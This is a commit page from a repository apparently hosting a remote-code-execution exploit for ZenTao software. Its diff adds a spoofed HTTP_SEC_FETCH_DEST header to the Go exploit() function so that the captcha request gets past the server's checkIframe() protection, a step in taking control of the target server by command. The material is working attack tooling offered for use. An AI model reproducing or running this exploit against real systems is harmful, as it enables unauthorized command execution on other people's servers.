0xf4n9x/Zentao-Captcha-RCE
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Bypass checkIframe()

Browse Source
This commit is contained in:
M4rtin Hsu
2023-04-24 23:36:17 +08:00
parent c491c4c739
commit 831200b1d1
1 changed files with 1 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

1
main.go
View File

@@ -175,6 +175,7 @@ func exploit(url string, command string, proxyURL string) bool {
captchaResp, _ := client.R().
SetHeader("User-Agent", userAgent).
SetHeader("Referer", referURL).
SetHeader("HTTP_SEC_FETCH_DEST", "frame").
Get(captchaURL)
if captchaResp.StatusCode() == 200 && captchaResp.Header().Get("Content-Type") == "image/jpeg" {